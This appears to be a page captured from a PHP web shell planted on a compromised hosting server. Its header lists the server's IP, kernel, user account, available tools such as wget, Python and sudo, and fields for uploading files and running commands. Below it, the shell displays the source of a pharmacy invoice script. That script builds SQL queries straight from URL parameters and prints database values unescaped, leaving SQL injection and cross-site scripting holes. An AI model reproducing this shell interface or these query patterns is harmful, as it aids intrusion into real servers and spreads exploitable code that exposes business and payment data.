Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.137.216.175
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in//view_purchase_invoice.php
 <?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
require_once('../patientmanager.php');
include 'workdeskmenu.php';
include 'header.php';
include("dbconnection.php");
?>
<!DOCTYPE html>
<html> 
  <body>
  

  <body>
 <?php
if($_GET[invoice_no]){
?>
           	<h2 align='center'>Purchase Invoice</h2> 
           	<?php }if($_GET[pid]){ ?>
           	<h2 align='center'>Return Invoice</h2> 
           	<?php } ?>
          	<style>
      

#topright {
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 30px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}
#toprightj {
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 120px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}


#toprightb {
   
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 200px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}

       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}

  <style>
 
h2 {
  color: #5287f5;
}
a img {
  border: none;
}

#memo {
  padding-top: 50px;
  margin: 0 20px 0 60px;
  border-bottom: 1px solid #ddd;
  height: 200px;
}
#memo .logo {
  float: left;
  margin-right: 20px;
}
#memo .logo img {
  width: 150px;
  height: 100px;
}
#memo .company-info {
  float: right;
  text-align: right;
}
#memo .company-info > div:first-child {

  font-weight: bold;
  font-size: 22px;
  color: #1e73be;
}
#memo .company-info span {
  font-size: 11px;
  min-width: 20px;
}

</style>
  </style>
  </head>
      <div class="content-wrapper">
    <!-- Content Header (Page header) -->
 <div class='center'>
     	      
<?php
if($_GET[invoice_no]){
?>
<section id="memo">
 
        <div class="logo">
            <?php
            $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
 $sql ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
{
            $sql ="SELECT * FROM hco WHERE adminid='$rs[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
			{
		 $sql ="SELECT * FROM admin WHERE id='$rs[adminid]'";
		$qsql = mysqli_query($con,$sql);
		if($ra = mysqli_fetch_array($qsql))
		{
		    
		     $services ="SELECT * FROM `services` Where adminid='$ra[id]'";
		$qservices = mysqli_query($con,$services);
		if($rservices = mysqli_fetch_array($qservices))
		{
			    echo"
			         <img data-logo='' src='uploads/$rs[Logo]' />
     </div>
              <div class='company-info'>
          <div>$rservices[pharmacyName]</div>
           <div>
        <span style='font-size:18px'>GST No:&nbsp; $rservices[GSTNo]&nbsp;|&nbsp;Lic NO:&nbsp; $rservices[LicNO]</br>
           &nbsp; <i class='fa fa-map-marker' aria-hidden='true'></i>&nbsp;
       $rs[Street]&nbsp;|&nbsp;$rs[Locality]</br>&nbsp;<i class='fa fa-envelope' aria-hidden='true'></i>&nbsp;$ra[EmailID]&nbsp;|&nbsp;<i class='fa fa-phone-square' aria-hidden='true'></i>&nbsp; $ra[numbers]</p></span>
            </div>
   ";           
		}
			}  
		}}
          ?>
    <br>
      </section>
  <br>
      <?php
include("dbconnection.php");

      
$RetuneMedicine=$con->query("SELECT * FROM purchasereport WHERE invoice_no='$_GET[invoice_no]' AND vendor='$_GET[vendor]'");
$RowReturn=$RetuneMedicine->fetch_assoc();
	


$list_vendor = "SELECT * FROM `list_vendor` WHERE vid='$RowReturn[vendor]'";
$qlist_vendor = mysqli_query($con,$list_vendor);
if($rlist_vendor = mysqli_fetch_array($qlist_vendor))
	  
	    echo"
<div class=''>
<span style='float: left; font-size:19px;'>Date : $RowReturn[created_at]</span>
<span style='float: right;font-size:19px;'>Purchase Invoice :<b>$RowReturn[purchase_invoice]</b></span>
</div>
<br>
<div class='checkbox'><span style='float: left; font-size:19px;'>Supplier Invoice Name : $RowReturn[invoice_no]</span><span style='float: right; font-size:19px;'>Supplier Name :<b>$rlist_vendor[name]</b></span></div>
     <br>
     <div class='checkbox'><span style='float: left; font-size:19px;'>GST No.: $rlist_vendor[emailid]</span><span style='float: right; font-size:19px;'>Mobile No. :<b>$rlist_vendor[mobile_no]</b></span></div>
              <div class='card-body'>
                
      
      ";
	

	?>

    <div id="container">
<table id='table' class='table table-bordered table-hover' style="width: 96%; margin-left: 10px;">
    <form method="post" name="signup">
      <tbody>
                  <tr>
                    
           <th><strong>Created Towards</strong></th>
              <th><strong>Invoice</strong></th>
          <th><strong>Medicine Details</strong></th><th><strong>Batch Number</strong></th><th><strong>HSN Code</strong></th>
          
          <th><strong>Expiry Date</strong></th><th><strong>Quantity</strong></th><th><strong>Rate</strong></th>
          <th><strong>MRP</strong></th>
          <th><strong>GST</strong></th>
          
            <th><strong>Status</strong></th>
            <th><strong>Net Amt</strong></th>
          <th><strong>Paid Amt</strong></th>
                 </tr>
        </tbody>
            
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");

    		    $sql5 ="SELECT * FROM purchasereport WHERE invoice_no='$_GET[invoice_no]' AND vendor='$_GET[vendor]'";
$qsql5 = mysqli_query($con,$sql5);
while($re5 = mysqli_fetch_array($qsql5)){

 
   
      
   
    echo"<tr>";
    
             echo "<td>"; 
             echo $re5['created_at'];//what will do here
             
 
           
            echo" </td>";
             



 echo"<td>";
 echo $re5['invoice_no'];//what will do here
   
echo "</td>";

 echo "<td>";
echo $re5['DRUGS_name'];//what will do here
  
echo "</td>";

 echo "<td>";
 echo $re5['Batch_number'];//what will do here
   
echo "</td>";





echo"<td>";
 echo $re5['HSN_No'];//what will do here
  
echo "</td>";

echo"<td>";
 echo $re5['Expiry_Date'];//what will do here
  
echo "</td>";

echo"<td>";
 echo $re5['Quantity'];//what will do here
  
echo "</td>";

echo"<td>";
 echo $re5['Rate'];//what will do here
  
echo "</td>";

echo"<td>";
 echo $re5['MRP'];//what will do here
  
echo "</td>";

echo"<td>";
 echo $re5['GST'].'%';//what will do here
  
echo "</td>";

echo"<td>";
 echo 'Paid';//what will do here
  
echo "</td>";

echo "<td>";
 echo $re5['CalAmt'];//what will do here
  echo "<input class='price' id='price' type='hidden' name='price[]' value='$re5[CalAmt]'/>";

echo "</td>";

echo"<td>";
 echo $re5['DisAmt'];//what will do here
  
echo "</td>";




 
echo "
    </tr>
    
 ";
}

// echo "<tr><td>Total Amt</td><td></td><td></td><td></td><td></td><td><strong ><i class='fa fa-inr'></i> $re5[TotalAmt]<strong></td></tr>";
// echo "<tr><td colspan='7'><b style='float:right'>Gross Amt</b> </td><td><strong ><i class='fa fa-inr'></i> $re5[TotalAmt]<strong></td></tr>";


 $sql5 ="SELECT * FROM purchasereport WHERE invoice_no='$_GET[invoice_no]' AND vendor='$_GET[vendor]'";
$qsql5 = mysqli_query($con,$sql5);
$re5 = mysqli_fetch_array($qsql5);

echo "<tr><td colspan='8'><b style='float:right'>Total MRP</b> </td>
<td colspan='5'><strong >  <b><i class='fa fa-inr'></i>  <span align='right' id='val'></b></span></td></tr>";

echo "<tr>
<td colspan='4'><h4>Payment Mode</h4></td>
<td colspan='4'><b style='float:right'>Discount</b> </td>
<td colspan='5'><strong > $re5[Discount] %<strong></td></tr>";

echo "<tr>
<td colspan='4'>";
if($re5[PaymentMode]=='Cash'){
    echo "Cash";
}
if($re5[PaymentMode]=='Card'){
     echo "Card";
    echo "<h5>Card Holder :-" .$re5[CardHolder]."</h5>";
    
}

if($re5[PaymentMode]=='UPI'){
     echo "UPI";
    echo "<h5>UPI Number :-" .$re5[UPI_Card_No]."</h5>";
    
}
echo"</td>
<td colspan='4'><b style='float:right'>GST</b> </td>
<td colspan='5'><strong ><i class='fa fa-inr'></i> $re5[Cal_gst] <strong></td></tr>";

echo "<tr>
<td colspan='4'>";

if($re5[PaymentMode]=='Card'){
   
    echo "<h5>Card Number:- " .$re5[CardHolderName]."</h5>";
}
echo"</td>

<td colspan='4'><b style='float:right'>Payable Amt</b> </td>
<td colspan='5'><strong ><b><i class='fa fa-inr'></i> $re5[GrantTotal] </b></span><strong></td></tr>";
?>
</table>

<?php } ?>
<?php if($_GET['pid']){ ?>



<div style="page-break-before:always">&nbsp;</div>
              
   
<div class='container'>
    <div class='row'>
        <div class='col-sm-11'>
           
            
            <div class="">
    <!-- Content Header (Page header) -->
 <div class=''>
     	      

<section id="memo">
 
        <div class="logo">
          <?php
            $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
 $sql ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
{
            $sql ="SELECT * FROM hco WHERE adminid='$rs[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
			{
		 $sql ="SELECT * FROM admin WHERE id='$rs[adminid]'";
		$qsql = mysqli_query($con,$sql);
		if($ra = mysqli_fetch_array($qsql))
		{
		     $services ="SELECT * FROM `services` Where adminid='$ra[id]'";
		$qservices = mysqli_query($con,$services);
		if($rservices = mysqli_fetch_array($qservices))
		{
			    echo"
			         <img data-logo='' src='uploads/$rs[Logo]' />
     </div>
             <div class='company-info'>
          <div>$rservices[pharmacyName]</div>
           <div>
        <span style='font-size:18px'>GST No:&nbsp; $rservices[GSTNo]&nbsp;|&nbsp;Lic NO:&nbsp; $rservices[LicNO]</br>
           &nbsp; <i class='fa fa-map-marker' aria-hidden='true'></i>&nbsp;
       $rs[Street]&nbsp;|&nbsp;$rs[Locality]</br>&nbsp;<i class='fa fa-envelope' aria-hidden='true'></i>&nbsp;$ra[EmailID]&nbsp;|&nbsp;<i class='fa fa-phone-square' aria-hidden='true'></i>&nbsp; $ra[numbers]</p></span>
            </div>
   ";           
		}}
			}  
		}
          ?>
    <br><br>
      </section>
      <br><br>
      <?php
include("dbconnection.php");

      
		    $RetuneMedicine=$con->query("SELECT * FROM `PurchaseRetuneMedicine` WHERE id='$_GET[pid]'");
	//$RowReturn=$RetuneMedicine->fetch_assoc();

	if(	$RowReturn=$RetuneMedicine->fetch_assoc())
	{
	$sqlpatient1 = "SELECT * FROM site_users WHERE userno='$RowReturn[userno]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	if($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	 $list_vendor = "SELECT * FROM `list_vendor` WHERE vid='$RowReturn[vendor]'";
	$qlist_vendor = mysqli_query($con,$list_vendor);
	if($rlist_vendor = mysqli_fetch_array($qlist_vendor))
	  
	    echo"
<div class=''>
<span style='float: left; font-size:19px;'>Date : $RowReturn[created_at]</span>
<span style='float: right;font-size:19px;'>Invoice Number :<b>$_GET[pid]</b></span>
</div>
<br>
<div class='checkbox'><span style='float: left; font-size:19px;'>Supplier Invoice Name : $RowReturn[invoice_no]</span><span style='float: right; font-size:19px;'>Supplier Name :<b>$rlist_vendor[name]</b></span></div>
     <br>
     <div class='checkbox'><span style='float: left; font-size:19px;'>GST No.: $rlist_vendor[emailid]</span><span style='float: right; font-size:19px;'>Mobile No. :<b>$rlist_vendor[mobile_no]</b></span></div>
              <div class='card-body'>
                <table id='example2' class='table table-bordered table-hover'>
                  <thead>
                  <tr>
            <th>Date – time </th>
          <th>Medication Details</th>
             <th>Return Quantity</th>
       
        </tr>
      
      ";
	}}

	?>
                  </thead>
<?php
include("dbconnection.php");
    $RetuneMedicine=$con->query("SELECT * FROM `PurchaseRetuneMedicine` WHERE id='$_GET[pid]'");
// 	$RowReturn=$RetuneMedicine->fetch_assoc();
//     $sqlpatient2 = "SELECT * FROM purchase_invoice WHERE inventory_id='$RowReturn[inventory_id]'";
//     $qsqlpatient2 = mysqli_query($con,$sqlpatient2);
 if($RowReturn=$RetuneMedicine->fetch_assoc()){
	$sqlpatient1 = "SELECT * FROM site_users WHERE userno='$RowReturn[userno]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	if($rsn = mysqli_fetch_array($qsqlpatient1)){
	    $pricedue=$RowReturn[AmountPaid];
            echo " <tbody>
            <tr>   <td>Created at:</b> $RowReturn[created_at]
                 <br><b>Created By:</b> $rsn[name]</td>
            ";
            

echo "<td><b>Name :</b> $RowReturn[DRUGS_name] <br><b>Batch No. :</b> $RowReturn[Batch_number]<br></td>";

       echo "
       <td>$RowReturn[ReturnQuantity]
       
       </td>
              					
          </tr>                   
          
          ";
}
}

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
     
        <?php
        $RetuneMedicine=$con->query("SELECT * FROM `PurchaseRetuneMedicine` WHERE id='$_GET[pid]'");
	$RowReturn=$RetuneMedicine->fetch_assoc();
	
          $sqlpatient2 = "SELECT * FROM medicine_inventory WHERE inventory_id='$RowReturn[inventory_id]'";
	$qsqlpatient2 = mysqli_query($con,$sqlpatient2);
 if($rsn2=$qsqlpatient2->fetch_assoc())
	{
	     
	    $disGST=$RowReturn['ReturnPrice']/100;
	    
                $GSTfinal1=$disGST*$rsn2['gst']; 
                
                
                $GSTfinal=round($GSTfinal1) ;
	    echo"
	   
           <div class='checkbox'><span style='float: left; font-size:19px;'>Amount In Word:<b> ";
        
$number = round($RowReturn['ReturnPrice']);
   $no = floor($number);
   $point = round($number - $no, 2) * 100;
   $hundred = null;
   $digits_1 = strlen($no);
   $i = 0;
   $str = array();
   $words = array('0' => '', '1' => 'one', '2' => 'two',
    '3' => 'three', '4' => 'four', '5' => 'five', '6' => 'six',
    '7' => 'seven', '8' => 'eight', '9' => 'nine',
    '10' => 'ten', '11' => 'eleven', '12' => 'twelve',
    '13' => 'thirteen', '14' => 'fourteen',
    '15' => 'fifteen', '16' => 'sixteen', '17' => 'seventeen',
    '18' => 'eighteen', '19' =>'nineteen', '20' => 'twenty',
    '30' => 'thirty', '40' => 'forty', '50' => 'fifty',
    '60' => 'sixty', '70' => 'seventy',
    '80' => 'eighty', '90' => 'ninety');
   $digits = array('', 'hundred', 'thousand', 'lakh', 'crore');
   while ($i < $digits_1) {
     $divider = ($i == 2) ? 10 : 100;
     $number = floor($no % $divider);
     $no = floor($no / $divider);
     $i += ($divider == 10) ? 1 : 2;
     if ($number) {
        $plural = (($counter = count($str)) && $number > 9) ? 's' : null;
        $hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
        $str [] = ($number < 21) ? $words[$number] .
            " " . $digits[$counter] . $plural . " " . $hundred
            :
            $words[floor($number / 10) * 10]
            . " " . $words[$number % 10] . " "
            . $digits[$counter] . $plural . " " . $hundred;
     } else $str[] = null;
  }
  $str = array_reverse($str);
  $result = implode('', $str);
  $points = ($point) ?
    "." . $words[$point / 10] . " " . 
          $words[$point = $point % 10] : '';
  echo "Rupees &nbsp;".  $result . "Only" .  "";
  
  $amt=round($RowReturn[ReturnPrice]);
  echo"</b></b></span></div> <br>
    
            <br>
        <div class='checkbox'><span style='float: right; font-size:19px; margin-right:12px;'>Total MRP :<i class='fa fa-inr' aria-hidden='true'></i>  $amt</span></div><br>
            
       <div class='checkbox'><span style='float: right; font-size:19px; margin-right:12px;'>GST :<i class='fa fa-inr' aria-hidden='true'></i> $GSTfinal</span></div><br>
        <div class='checkbox'><span style='float: right; font-size:19px; margin-right:12px;'>Payable Amt :<i class='fa fa-inr' aria-hidden='true'></i>  $amt</span></div>
        
              
              <br>
 <b>";
             
             echo" 
            
              <br>
           
           <br>
          
          ";
         
          
	
	}
	?>
      </div>
   
    
     </section>
      </div>
        </div>
    </div>
</div>              
      </div>     

<?php
}
?>

  <script>
  var table = document.getElementById("myTable"), sumVal = 0;
            
            $(".price").each(function() {
                    sumVal += Number($(this).val());
                   
                 });
            document.getElementById("val").innerHTML = "" + sumVal;
            $('#total_value').val(sumVal);
             </script> 
             
             <script>
  var table = document.getElementById("myTable"), FsumVal = 0;
            
            $(".FinalAmt").each(function() {
                    FsumVal += Number($(this).val());
                   
                 });
            document.getElementById("Fprice").innerHTML = "" + FsumVal;
            
             </script> 

  

Anon7 - 2022
AnonSec Team